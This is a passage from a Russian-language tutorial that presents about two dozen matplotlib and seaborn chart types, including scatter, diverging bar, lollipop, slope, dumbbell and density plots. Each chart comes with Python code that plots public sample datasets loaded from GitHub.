colors = [plt.cm.tab10(i/float(len(categories)-1)) for i in range(len(categories))]
# Draw Plot for Each Category
plt.figure(figsize=(16, 10), dpi= 80, facecolor='w', edgecolor='k')
for i, category in enumerate(categories):
plt.scatter('area', 'poptotal',
data=midwest.loc[midwest.category==category, :],
s=20, c=colors[i], label=str(category))
# Decorations
plt.gca().set(xlim=(0.0, 0.1), ylim=(0, 90000),
xlabel='Area', ylabel='Population')
plt.xticks(fontsize=12); plt.yticks(fontsize=12)
plt.title("Scatterplot of Midwest Area vs Population", fontsize=22)
plt.legend(fontsize=12)
plt.show()
```
### 2. Пузырьковая диаграмма с захватом группы
Иногда хочется показать группу точек внутри границы, чтобы подчеркнуть их важность. В этом примере мы получаем записи из фрейма данных, которые должны быть выделены, и передаем их в encircle() описанный в приведенном ниже коде.
**Показать код**
```
from matplotlib import patches
from scipy.spatial import ConvexHull
import warnings; warnings.simplefilter('ignore')
sns.set_style("white")
# Step 1: Prepare Data
midwest = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/midwest_filter.csv")
# As many colors as there are unique midwest['category']
categories = np.unique(midwest['category'])
colors = [plt.cm.tab10(i/float(len(categories)-1)) for i in range(len(categories))]
# Step 2: Draw Scatterplot with unique color for each category
fig = plt.figure(figsize=(16, 10), dpi= 80, facecolor='w', edgecolor='k')
for i, category in enumerate(categories):
plt.scatter('area', 'poptotal', data=midwest.loc[midwest.category==category, :], s='dot_size', c=colors[i], label=str(category), edgecolors='black', linewidths=.5)
# Step 3: Encircling
# https://stackoverflow.com/questions/44575681/how-do-i-encircle-different-data-sets-in-scatter-plot
def encircle(x,y, ax=None, **kw):
if not ax: ax=plt.gca()
p = np.c_[x,y]
hull = ConvexHull(p)
poly = plt.Polygon(p[hull.vertices,:], **kw)
ax.add_patch(poly)
# Select data to be encircled
midwest_encircle_data = midwest.loc[midwest.state=='IN', :]
# Draw polygon surrounding vertices
encircle(midwest_encircle_data.area, midwest_encircle_data.poptotal, ec="k", fc="gold", alpha=0.1)
encircle(midwest_encircle_data.area, midwest_encircle_data.poptotal, ec="firebrick", fc="none", linewidth=1.5)
# Step 4: Decorations
plt.gca().set(xlim=(0.0, 0.1), ylim=(0, 90000),
xlabel='Area', ylabel='Population')
plt.xticks(fontsize=12); plt.yticks(fontsize=12)
plt.title("Bubble Plot with Encircling", fontsize=22)
plt.legend(fontsize=12)
plt.show()
```
### 3. График линейной регрессии best fit
Если вы хотите понять, как две переменные изменяются по отношению друг к другу, лучше всего подойдет линия best fit. На графике ниже показано, как best fit отличается среди различных групп данных. Чтобы отключить группировки и просто нарисовать одну линию best fit для всего набора данных, удалите параметр hue='cyl' из sns.lmplot() ниже.
**Показать код**
```
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/mpg_ggplot2.csv")
df_select = df.loc[df.cyl.isin([4,8]), :]
# Plot
sns.set_style("white")
gridobj = sns.lmplot(x="displ", y="hwy", hue="cyl", data=df_select,
height=7, aspect=1.6, robust=True, palette='tab10',
scatter_kws=dict(s=60, linewidths=.7, edgecolors='black'))
# Decorations
gridobj.set(xlim=(0.5, 7.5), ylim=(0, 50))
plt.title("Scatterplot with line of best fit grouped by number of cylinders", fontsize=20)
plt.show()
```
##### Каждая строка регрессии в своем собственном столбце
Кроме того, вы можете показать линию best fit для каждой группы в отдельном столбце. Вы хотите сделать это, установив параметр col=groupingcolumn внутри sns.lmplot().
**Показать код**
```
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/mpg_ggplot2.csv")
df_select = df.loc[df.cyl.isin([4,8]), :]
# Each line in its own column
sns.set_style("white")
gridobj = sns.lmplot(x="displ", y="hwy",
data=df_select,
height=7,
robust=True,
palette='Set1',
col="cyl",
scatter_kws=dict(s=60, linewidths=.7, edgecolors='black'))
# Decorations
gridobj.set(xlim=(0.5, 7.5), ylim=(0, 50))
plt.show()
```
### 4. Stripplot
Часто несколько точек данных имеют одинаковые значения X и Y. В результате несколько точек наносятся друг на друга и скрываются. Чтобы избежать этого, слегка раздвиньте точки, чтобы вы могли видеть их визуально. Это удобно делать с помощью стрипплота stripplot().
**Показать код**
```
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/mpg_ggplot2.csv")
# Draw Stripplot
fig, ax = plt.subplots(figsize=(16,10), dpi= 80)
sns.stripplot(df.cty, df.hwy, jitter=0.25, size=8, ax=ax, linewidth=.5)
# Decorations
plt.title('Use jittered plots to avoid overlapping of points', fontsize=22)
plt.show()
```
### 5. График подсчета (Counts Plot)
Другим вариантом, позволяющим избежать проблемы наложения точек, является увеличение размера точки в зависимости от того, сколько точек лежит в этом месте. Таким образом, чем больше размер точки, тем больше концентрация точек вокруг нее.
**Показать код**
```
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/mpg_ggplot2.csv")
df_counts = df.groupby(['hwy', 'cty']).size().reset_index(name='counts')
# Draw Stripplot
fig, ax = plt.subplots(figsize=(16,10), dpi= 80)
sns.scatterplot(df_counts.cty, df_counts.hwy, size=df_counts.counts*2, ax=ax)
# Decorations
plt.title('Counts Plot - Size of circle is bigger as more points overlap', fontsize=22)
plt.show()
```
### 6. Построчная гистограмма
Построчные гистограммы имеют гистограмму вдоль переменных оси X и Y. Это используется для визуализации отношений между X и Y вместе с одномерным распределением X и Y по отдельности. Этот график часто используется в анализе данных (EDA).
**Показать код**
```
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/mpg_ggplot2.csv")
# Create Fig and gridspec
fig = plt.figure(figsize=(16, 10), dpi= 80)
grid = plt.GridSpec(4, 4, hspace=0.5, wspace=0.2)
# Define the axes
ax_main = fig.add_subplot(grid[:-1, :-1])
ax_right = fig.add_subplot(grid[:-1, -1], xticklabels=[], yticklabels=[])
ax_bottom = fig.add_subplot(grid[-1, 0:-1], xticklabels=[], yticklabels=[])
# Scatterplot on main ax
ax_main.scatter('displ', 'hwy', s=df.cty*4, c=df.manufacturer.astype('category').cat.codes, alpha=.9, data=df, cmap="tab10", edgecolors='gray', linewidths=.5)
# histogram on the right
ax_bottom.hist(df.displ, 40, histtype='stepfilled', orientation='vertical', color='deeppink')
ax_bottom.invert_yaxis()
# histogram in the bottom
ax_right.hist(df.hwy, 40, histtype='stepfilled', orientation='horizontal', color='deeppink')
# Decorations
ax_main.set(title='Scatterplot with Histograms \n displ vs hwy', xlabel='displ', ylabel='hwy')
ax_main.title.set_fontsize(20)
for item in ([ax_main.xaxis.label, ax_main.yaxis.label] + ax_main.get_xticklabels() + ax_main.get_yticklabels()):
item.set_fontsize(14)
xlabels = ax_main.get_xticks().tolist()
ax_main.set_xticklabels(xlabels)
plt.show()
```
### 7. Boxplot
Boxplot служит той же цели, что и построчная гистограмма. Тем не менее, этот график помогает точно определить медиану, 25-й и 75-й персентили X и Y.
**Показать код**
```
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/mpg_ggplot2.csv")
# Create Fig and gridspec
fig = plt.figure(figsize=(16, 10), dpi= 80)
grid = plt.GridSpec(4, 4, hspace=0.5, wspace=0.2)
# Define the axes
ax_main = fig.add_subplot(grid[:-1, :-1])
ax_right = fig.add_subplot(grid[:-1, -1], xticklabels=[], yticklabels=[])
ax_bottom = fig.add_subplot(grid[-1, 0:-1], xticklabels=[], yticklabels=[])
# Scatterplot on main ax
ax_main.scatter('displ', 'hwy', s=df.cty*5, c=df.manufacturer.astype('category').cat.codes, alpha=.9, data=df, cmap="Set1", edgecolors='black', linewidths=.5)
# Add a graph in each part
sns.boxplot(df.hwy, ax=ax_right, orient="v")
sns.boxplot(df.displ, ax=ax_bottom, orient="h")
# Decorations ------------------
# Remove x axis name for the boxplot
ax_bottom.set(xlabel='')
ax_right.set(ylabel='')
# Main Title, Xlabel and YLabel
ax_main.set(title='Scatterplot with Histograms \n displ vs hwy', xlabel='displ', ylabel='hwy')
# Set font size of different components
ax_main.title.set_fontsize(20)
for item in ([ax_main.xaxis.label, ax_main.yaxis.label] + ax_main.get_xticklabels() + ax_main.get_yticklabels()):
item.set_fontsize(14)
plt.show()
```
### 8. Диаграмма корреляции
Диаграмма корреляции используется для визуального просмотра метрики корреляции между всеми возможными парами числовых переменных в данном наборе данных (или двумерном массиве).
**Показать код**
```
# Import Dataset
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mtcars.csv")
# Plot
plt.figure(figsize=(12,10), dpi= 80)
sns.heatmap(df.corr(), xticklabels=df.corr().columns, yticklabels=df.corr().columns, cmap='RdYlGn', center=0, annot=True)
# Decorations
plt.title('Correlogram of mtcars', fontsize=22)
plt.xticks(fontsize=12)
plt.yticks(fontsize=12)
plt.show()
```
### 9. Парный график
Часто используется в исследовательском анализе, чтобы понять взаимосвязь между всеми возможными парами числовых переменных. Это обязательный инструмент для двумерного анализа.
**Показать код**
```
# Load Dataset
df = sns.load_dataset('iris')
# Plot
plt.figure(figsize=(10,8), dpi= 80)
sns.pairplot(df, kind="scatter", hue="species", plot_kws=dict(s=80, edgecolor="white", linewidth=2.5))
plt.show()
```
**Показать код**
```
# Load Dataset
df = sns.load_dataset('iris')
# Plot
plt.figure(figsize=(10,8), dpi= 80)
sns.pairplot(df, kind="reg", hue="species")
plt.show()
```
### Отклонение
### 10. Расходящиеся стобцы
Если вы хотите увидеть, как элементы меняются в зависимости от одной метрики, и визуализировать порядок и величину этой дисперсии, расходящиеся стобцы — отличный инструмент. Он помогает быстро дифференцировать производительность групп в ваших данных, является достаточно интуитивным и мгновенно передает смысл.
**Показать код**
```
# Prepare Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mtcars.csv")
x = df.loc[:, ['mpg']]
df['mpg_z'] = (x - x.mean())/x.std()
df['colors'] = ['red' if x < 0 else 'green' for x in df['mpg_z']]
df.sort_values('mpg_z', inplace=True)
df.reset_index(inplace=True)
# Draw plot
plt.figure(figsize=(14,10), dpi= 80)
plt.hlines(y=df.index, xmin=0, xmax=df.mpg_z, color=df.colors, alpha=0.4, linewidth=5)
# Decorations
plt.gca().set(ylabel='$Model$', xlabel='$Mileage$')
plt.yticks(df.index, df.cars, fontsize=12)
plt.title('Diverging Bars of Car Mileage', fontdict={'size':20})
plt.grid(linestyle='--', alpha=0.5)
plt.show()
```
### 11. Расходящиеся стобцы с текстом
— похожи на расходящиеся столбцы, и это предпочтительнее, если вы хотите показать значимость каждого элемента в диаграмме в хорошем и презентабельном виде.
**Показать код**
```
# Prepare Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mtcars.csv")
x = df.loc[:, ['mpg']]
df['mpg_z'] = (x - x.mean())/x.std()
df['colors'] = ['red' if x < 0 else 'green' for x in df['mpg_z']]
df.sort_values('mpg_z', inplace=True)
df.reset_index(inplace=True)
# Draw plot
plt.figure(figsize=(14,14), dpi= 80)
plt.hlines(y=df.index, xmin=0, xmax=df.mpg_z)
for x, y, tex in zip(df.mpg_z, df.index, df.mpg_z):
t = plt.text(x, y, round(tex, 2), horizontalalignment='right' if x < 0 else 'left',
verticalalignment='center', fontdict={'color':'red' if x < 0 else 'green', 'size':14})
# Decorations
plt.yticks(df.index, df.cars, fontsize=12)
plt.title('Diverging Text Bars of Car Mileage', fontdict={'size':20})
plt.grid(linestyle='--', alpha=0.5)
plt.xlim(-2.5, 2.5)
plt.show()
```
### 12. Расходящиеся точки
График расходящихся точек также похож на расходящиеся столбцы. Однако по сравнению с расходящимися столбиками, отсутствие столбцов уменьшает степень контрастности и несоответствия между группами.
**Показать код**
```
# Prepare Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mtcars.csv")
x = df.loc[:, ['mpg']]
df['mpg_z'] = (x - x.mean())/x.std()
df['colors'] = ['red' if x < 0 else 'darkgreen' for x in df['mpg_z']]
df.sort_values('mpg_z', inplace=True)
df.reset_index(inplace=True)
# Draw plot
plt.figure(figsize=(14,16), dpi= 80)
plt.scatter(df.mpg_z, df.index, s=450, alpha=.6, color=df.colors)
for x, y, tex in zip(df.mpg_z, df.index, df.mpg_z):
t = plt.text(x, y, round(tex, 1), horizontalalignment='center',
verticalalignment='center', fontdict={'color':'white'})
# Decorations
# Lighten borders
plt.gca().spines["top"].set_alpha(.3)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(.3)
plt.gca().spines["left"].set_alpha(.3)
plt.yticks(df.index, df.cars)
plt.title('Diverging Dotplot of Car Mileage', fontdict={'size':20})
plt.xlabel('$Mileage$')
plt.grid(linestyle='--', alpha=0.5)
plt.xlim(-2.5, 2.5)
plt.show()
```
### 13. Расходящаяся диаграмма Lollipop с маркерами
Lollipop обеспечивает гибкий способ визуализации расхождения, делая акцент на любых значимых точках данных, на которые вы хотите обратить внимание.
**Показать код**
```
# Prepare Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mtcars.csv")
x = df.loc[:, ['mpg']]
df['mpg_z'] = (x - x.mean())/x.std()
df['colors'] = 'black'
# color fiat differently
df.loc[df.cars == 'Fiat X1-9', 'colors'] = 'darkorange'
df.sort_values('mpg_z', inplace=True)
df.reset_index(inplace=True)
# Draw plot
import matplotlib.patches as patches
plt.figure(figsize=(14,16), dpi= 80)
plt.hlines(y=df.index, xmin=0, xmax=df.mpg_z, color=df.colors, alpha=0.4, linewidth=1)
plt.scatter(df.mpg_z, df.index, color=df.colors, s=[600 if x == 'Fiat X1-9' else 300 for x in df.cars], alpha=0.6)
plt.yticks(df.index, df.cars)
plt.xticks(fontsize=12)
# Annotate
plt.annotate('Mercedes Models', xy=(0.0, 11.0), xytext=(1.0, 11), xycoords='data',
fontsize=15, ha='center', va='center',
bbox=dict(boxstyle='square', fc='firebrick'),
arrowprops=dict(arrowstyle='-[, widthB=2.0, lengthB=1.5', lw=2.0, color='steelblue'), color='white')
# Add Patches
p1 = patches.Rectangle((-2.0, -1), width=.3, height=3, alpha=.2, facecolor='red')
p2 = patches.Rectangle((1.5, 27), width=.8, height=5, alpha=.2, facecolor='green')
plt.gca().add_patch(p1)
plt.gca().add_patch(p2)
# Decorate
plt.title('Diverging Bars of Car Mileage', fontdict={'size':20})
plt.grid(linestyle='--', alpha=0.5)
plt.show()
```
### 14. Диаграмма площади
Раскрашивая область между осью и линиями, диаграмма площади подчеркивает пики и впадины, но и на продолжительности максимумов и минимумов. Чем больше продолжительность максимумов, тем больше площадь под линией.
**Показать код**
```
import numpy as np
import pandas as pd
# Prepare Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/economics.csv", parse_dates=['date']).head(100)
x = np.arange(df.shape[0])
y_returns = (df.psavert.diff().fillna(0)/df.psavert.shift(1)).fillna(0) * 100
# Plot
plt.figure(figsize=(16,10), dpi= 80)
plt.fill_between(x[1:], y_returns[1:], 0, where=y_returns[1:] >= 0, facecolor='green', interpolate=True, alpha=0.7)
plt.fill_between(x[1:], y_returns[1:], 0, where=y_returns[1:] <= 0, facecolor='red', interpolate=True, alpha=0.7)
# Annotate
plt.annotate('Peak \n1975', xy=(94.0, 21.0), xytext=(88.0, 28),
bbox=dict(boxstyle='square', fc='firebrick'),
arrowprops=dict(facecolor='steelblue', shrink=0.05), fontsize=15, color='white')
# Decorations
xtickvals = [str(m)[:3].upper()+"-"+str(y) for y,m in zip(df.date.dt.year, df.date.dt.month_name())]
plt.gca().set_xticks(x[::6])
plt.gca().set_xticklabels(xtickvals[::6], rotation=90, fontdict={'horizontalalignment': 'center', 'verticalalignment': 'center_baseline'})
plt.ylim(-35,35)
plt.xlim(1,100)
plt.title("Month Economics Return %", fontsize=22)
plt.ylabel('Monthly returns %')
plt.grid(alpha=0.5)
plt.show()
```
### Ранжирование
### 15. Упорядоченная гистограмма
Упорядоченная гистограмма эффективно передает порядок ранжирования элементов. Но, добавив значение показателя над диаграммой, пользователь получает точную информацию от самой диаграммы.
**Показать код**
```
# Prepare Data
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
df = df_raw[['cty', 'manufacturer']].groupby('manufacturer').apply(lambda x: x.mean())
df.sort_values('cty', inplace=True)
df.reset_index(inplace=True)
# Draw plot
import matplotlib.patches as patches
fig, ax = plt.subplots(figsize=(16,10), facecolor='white', dpi= 80)
ax.vlines(x=df.index, ymin=0, ymax=df.cty, color='firebrick', alpha=0.7, linewidth=20)
# Annotate Text
for i, cty in enumerate(df.cty):
ax.text(i, cty+0.5, round(cty, 1), horizontalalignment='center')
# Title, Label, Ticks and Ylim
ax.set_title('Bar Chart for Highway Mileage', fontdict={'size':22})
ax.set(ylabel='Miles Per Gallon', ylim=(0, 30))
plt.xticks(df.index, df.manufacturer.str.upper(), rotation=60, horizontalalignment='right', fontsize=12)
# Add patches to color the X axis labels
p1 = patches.Rectangle((.57, -0.005), width=.33, height=.13, alpha=.1, facecolor='green', transform=fig.transFigure)
p2 = patches.Rectangle((.124, -0.005), width=.446, height=.13, alpha=.1, facecolor='red', transform=fig.transFigure)
fig.add_artist(p1)
fig.add_artist(p2)
plt.show()
```
### 16. Диаграмма Lollipop
Диаграмма Lollipop служит аналогичной цели как упорядоченная гистограмма визуально приятным способом.
**Показать код**
```
# Prepare Data
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
df = df_raw[['cty', 'manufacturer']].groupby('manufacturer').apply(lambda x: x.mean())
df.sort_values('cty', inplace=True)
df.reset_index(inplace=True)
# Draw plot
fig, ax = plt.subplots(figsize=(16,10), dpi= 80)
ax.vlines(x=df.index, ymin=0, ymax=df.cty, color='firebrick', alpha=0.7, linewidth=2)
ax.scatter(x=df.index, y=df.cty, s=75, color='firebrick', alpha=0.7)
# Title, Label, Ticks and Ylim
ax.set_title('Lollipop Chart for Highway Mileage', fontdict={'size':22})
ax.set_ylabel('Miles Per Gallon')
ax.set_xticks(df.index)
ax.set_xticklabels(df.manufacturer.str.upper(), rotation=60, fontdict={'horizontalalignment': 'right', 'size':12})
ax.set_ylim(0, 30)
# Annotate
for row in df.itertuples():
ax.text(row.Index, row.cty+.5, s=round(row.cty, 2), horizontalalignment= 'center', verticalalignment='bottom', fontsize=14)
plt.show()
```
### 17. Поточечный график с подписями
Точечный график передает порядок ранжирования предметов. А поскольку он выровнен вдоль горизонтальной оси, вы можете визуально оценить, как далеко точки находятся друг от друга.
**Показать код**
```
# Prepare Data
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
df = df_raw[['cty', 'manufacturer']].groupby('manufacturer').apply(lambda x: x.mean())
df.sort_values('cty', inplace=True)
df.reset_index(inplace=True)
# Draw plot
fig, ax = plt.subplots(figsize=(16,10), dpi= 80)
ax.hlines(y=df.index, xmin=11, xmax=26, color='gray', alpha=0.7, linewidth=1, linestyles='dashdot')
ax.scatter(y=df.index, x=df.cty, s=75, color='firebrick', alpha=0.7)
# Title, Label, Ticks and Ylim
ax.set_title('Dot Plot for Highway Mileage', fontdict={'size':22})
ax.set_xlabel('Miles Per Gallon')
ax.set_yticks(df.index)
ax.set_yticklabels(df.manufacturer.str.title(), fontdict={'horizontalalignment': 'right'})
ax.set_xlim(10, 27)
plt.show()
```
### 18. Наклонная карта
Диаграмма уклона наиболее подходит для сравнения позиций «До» и «После» данного человека / предмета.
**Показать код**
```
import matplotlib.lines as mlines
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/gdppercap.csv")
left_label = [str(c) + ', '+ str(round(y)) for c, y in zip(df.continent, df['1952'])]
right_label = [str(c) + ', '+ str(round(y)) for c, y in zip(df.continent, df['1957'])]
klass = ['red' if (y1-y2) < 0 else 'green' for y1, y2 in zip(df['1952'], df['1957'])]
# draw line
# https://stackoverflow.com/questions/36470343/how-to-draw-a-line-with-matplotlib/36479941
def newline(p1, p2, color='black'):
ax = plt.gca()
l = mlines.Line2D([p1[0],p2[0]], [p1[1],p2[1]], color='red' if p1[1]-p2[1] > 0 else 'green', marker='o', markersize=6)
ax.add_line(l)
return l
fig, ax = plt.subplots(1,1,figsize=(14,14), dpi= 80)
# Vertical Lines
ax.vlines(x=1, ymin=500, ymax=13000, color='black', alpha=0.7, linewidth=1, linestyles='dotted')
ax.vlines(x=3, ymin=500, ymax=13000, color='black', alpha=0.7, linewidth=1, linestyles='dotted')
# Points
ax.scatter(y=df['1952'], x=np.repeat(1, df.shape[0]), s=10, color='black', alpha=0.7)
ax.scatter(y=df['1957'], x=np.repeat(3, df.shape[0]), s=10, color='black', alpha=0.7)
# Line Segmentsand Annotation
for p1, p2, c in zip(df['1952'], df['1957'], df['continent']):
newline([1,p1], [3,p2])
ax.text(1-0.05, p1, c + ', ' + str(round(p1)), horizontalalignment='right', verticalalignment='center', fontdict={'size':14})
ax.text(3+0.05, p2, c + ', ' + str(round(p2)), horizontalalignment='left', verticalalignment='center', fontdict={'size':14})
# 'Before' and 'After' Annotations
ax.text(1-0.05, 13000, 'BEFORE', horizontalalignment='right', verticalalignment='center', fontdict={'size':18, 'weight':700})
ax.text(3+0.05, 13000, 'AFTER', horizontalalignment='left', verticalalignment='center', fontdict={'size':18, 'weight':700})
# Decoration
ax.set_title("Slopechart: Comparing GDP Per Capita between 1952 vs 1957", fontdict={'size':22})
ax.set(xlim=(0,4), ylim=(0,14000), ylabel='Mean GDP Per Capita')
ax.set_xticks([1,3])
ax.set_xticklabels(["1952", "1957"])
plt.yticks(np.arange(500, 13000, 2000), fontsize=12)
# Lighten borders
plt.gca().spines["top"].set_alpha(.0)
plt.gca().spines["bottom"].set_alpha(.0)
plt.gca().spines["right"].set_alpha(.0)
plt.gca().spines["left"].set_alpha(.0)
plt.show()
```
### 19. «Гантели»
График «Гантели» передает позиции «до» и «после» различных влияний, а также порядок ранжирования предметов. Это очень полезно, если вы хотите визуализировать влияние чего-либо на разные объекты.
**Показать код**
```
import matplotlib.lines as mlines
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/health.csv")
df.sort_values('pct_2014', inplace=True)
df.reset_index(inplace=True)
# Func to draw line segment
def newline(p1, p2, color='black'):
ax = plt.gca()
l = mlines.Line2D([p1[0],p2[0]], [p1[1],p2[1]], color='skyblue')
ax.add_line(l)
return l
# Figure and Axes
fig, ax = plt.subplots(1,1,figsize=(14,14), facecolor='#f7f7f7', dpi= 80)
# Vertical Lines
ax.vlines(x=.05, ymin=0, ymax=26, color='black', alpha=1, linewidth=1, linestyles='dotted')
ax.vlines(x=.10, ymin=0, ymax=26, color='black', alpha=1, linewidth=1, linestyles='dotted')
ax.vlines(x=.15, ymin=0, ymax=26, color='black', alpha=1, linewidth=1, linestyles='dotted')
ax.vlines(x=.20, ymin=0, ymax=26, color='black', alpha=1, linewidth=1, linestyles='dotted')
# Points
ax.scatter(y=df['index'], x=df['pct_2013'], s=50, color='#0e668b', alpha=0.7)
ax.scatter(y=df['index'], x=df['pct_2014'], s=50, color='#a3c4dc', alpha=0.7)
# Line Segments
for i, p1, p2 in zip(df['index'], df['pct_2013'], df['pct_2014']):
newline([p1, i], [p2, i])
# Decoration
ax.set_facecolor('#f7f7f7')
ax.set_title("Dumbell Chart: Pct Change - 2013 vs 2014", fontdict={'size':22})
ax.set(xlim=(0,.25), ylim=(-1, 27), ylabel='Mean GDP Per Capita')
ax.set_xticks([.05, .1, .15, .20])
ax.set_xticklabels(['5%', '15%', '20%', '25%'])
ax.set_xticklabels(['5%', '15%', '20%', '25%'])
plt.show()
```
### Распределение
### 20. Гистограмма для непрерывной переменной
Гистограмма показывает распределение частот данной переменной. Приведенное ниже представление группирует полосы частот на основе категориальной переменной.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare data
x_var = 'displ'
groupby_var = 'class'
df_agg = df.loc[:, [x_var, groupby_var]].groupby(groupby_var)
vals = [df[x_var].values.tolist() for i, df in df_agg]
# Draw
plt.figure(figsize=(16,9), dpi= 80)
colors = [plt.cm.Spectral(i/float(len(vals)-1)) for i in range(len(vals))]
n, bins, patches = plt.hist(vals, 30, stacked=True, density=False, color=colors[:len(vals)])
# Decoration
plt.legend({group:col for group, col in zip(np.unique(df[groupby_var]).tolist(), colors[:len(vals)])})
plt.title(f"Stacked Histogram of ${x_var}$ colored by ${groupby_var}$", fontsize=22)
plt.xlabel(x_var)
plt.ylabel("Frequency")
plt.ylim(0, 25)
plt.xticks(ticks=bins[::3], labels=[round(b,1) for b in bins[::3]])
plt.show()
```
### 21. Гистограмма для категориальной переменной
Гистограмма категориальной переменной показывает распределение частоты этой переменной. Раскрашивая столбцы, вы можете визуализировать распределение в связи с другой категориальной переменной, представляющей цвета.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare data
x_var = 'manufacturer'
groupby_var = 'class'
df_agg = df.loc[:, [x_var, groupby_var]].groupby(groupby_var)
vals = [df[x_var].values.tolist() for i, df in df_agg]
# Draw
plt.figure(figsize=(16,9), dpi= 80)
colors = [plt.cm.Spectral(i/float(len(vals)-1)) for i in range(len(vals))]
n, bins, patches = plt.hist(vals, df[x_var].unique().__len__(), stacked=True, density=False, color=colors[:len(vals)])
# Decoration
plt.legend({group:col for group, col in zip(np.unique(df[groupby_var]).tolist(), colors[:len(vals)])})
plt.title(f"Stacked Histogram of ${x_var}$ colored by ${groupby_var}$", fontsize=22)
plt.xlabel(x_var)
plt.ylabel("Frequency")
plt.ylim(0, 40)
plt.xticks(ticks=bins, labels=np.unique(df[x_var]).tolist(), rotation=90, horizontalalignment='left')
plt.show()
```
### 22. График плотности
Графики плотности являются широко используемым инструментом для визуализации распределения непрерывной переменной. Сгруппировав их по переменной «response», вы можете проверить взаимосвязь между X и Y. Ниже представлен пример, если для наглядности описать, как распределение пробега по городу меняется в зависимости от количества цилиндров.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Draw Plot
plt.figure(figsize=(16,10), dpi= 80)
sns.kdeplot(df.loc[df['cyl'] == 4, "cty"], shade=True, color="g", label="Cyl=4", alpha=.7)
sns.kdeplot(df.loc[df['cyl'] == 5, "cty"], shade=True, color="deeppink", label="Cyl=5", alpha=.7)
sns.kdeplot(df.loc[df['cyl'] == 6, "cty"], shade=True, color="dodgerblue", label="Cyl=6", alpha=.7)
sns.kdeplot(df.loc[df['cyl'] == 8, "cty"], shade=True, color="orange", label="Cyl=8", alpha=.7)
# Decoration
plt.title('Density Plot of City Mileage by n_Cylinders', fontsize=22)
plt.legend()
plt.show()
```
### 23. Кривые плотности с гистограммой
Кривая плотности с гистограммой объединяет сводную информацию, передаваемую двумя графиками, так что вы можете видеть оба в одном месте.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Draw Plot
plt.figure(figsize=(13,10), dpi= 80)
sns.distplot(df.loc[df['class'] == 'compact', "cty"], color="dodgerblue", label="Compact", hist_kws={'alpha':.7}, kde_kws={'linewidth':3})
sns.distplot(df.loc[df['class'] == 'suv', "cty"], color="orange", label="SUV", hist_kws={'alpha':.7}, kde_kws={'linewidth':3})
sns.distplot(df.loc[df['class'] == 'minivan', "cty"], color="g", label="minivan", hist_kws={'alpha':.7}, kde_kws={'linewidth':3})
plt.ylim(0, 0.35)
# Decoration
plt.title('Density Plot of City Mileage by Vehicle Type', fontsize=22)
plt.legend()
plt.show()
```
### 24. График Joy
График Joy позволяет перекрывать кривые плотности разных групп, это отличный способ визуализировать распределение большого числа групп по отношению друг к другу. Это выглядит приятным для глаз и четко передает только правильную информацию.
**Показать код**
```
# !pip install joypy
# Import Data
mpg = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Draw Plot
plt.figure(figsize=(16,10), dpi= 80)
fig, axes = joypy.joyplot(mpg, column=['hwy', 'cty'], by="class", ylim='own', figsize=(14,10))
# Decoration
plt.title('Joy Plot of City and Highway Mileage by Class', fontsize=22)
plt.show()
```
### 25. Распределенная точечная диаграмма
Распределенная точечная диаграмма показывает одномерное распределение точек, сегментированных по группам. Чем темнее точки, тем больше концентрация точек данных в этом регионе. По-разному окрашивая медиану, реальное расположение групп становится очевидным мгновенно.
**Показать код**
```
import matplotlib.patches as mpatches
# Prepare Data
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
cyl_colors = {4:'tab:red', 5:'tab:green', 6:'tab:blue', 8:'tab:orange'}
df_raw['cyl_color'] = df_raw.cyl.map(cyl_colors)
# Mean and Median city mileage by make
df = df_raw[['cty', 'manufacturer']].groupby('manufacturer').apply(lambda x: x.mean())
df.sort_values('cty', ascending=False, inplace=True)
df.reset_index(inplace=True)
df_median = df_raw[['cty', 'manufacturer']].groupby('manufacturer').apply(lambda x: x.median())
# Draw horizontal lines
fig, ax = plt.subplots(figsize=(16,10), dpi= 80)
ax.hlines(y=df.index, xmin=0, xmax=40, color='gray', alpha=0.5, linewidth=.5, linestyles='dashdot')
# Draw the Dots
for i, make in enumerate(df.manufacturer):
df_make = df_raw.loc[df_raw.manufacturer==make, :]
ax.scatter(y=np.repeat(i, df_make.shape[0]), x='cty', data=df_make, s=75, edgecolors='gray', c='w', alpha=0.5)
ax.scatter(y=i, x='cty', data=df_median.loc[df_median.index==make, :], s=75, c='firebrick')
# Annotate
ax.text(33, 13, "$red \; dots \; are \; the \: median$", fontdict={'size':12}, color='firebrick')
# Decorations
red_patch = plt.plot([],[], marker="o", ms=10, ls="", mec=None, color='firebrick', label="Median")
plt.legend(handles=red_patch)
ax.set_title('Distribution of City Mileage by Make', fontdict={'size':22})
ax.set_xlabel('Miles Per Gallon (City)', alpha=0.7)
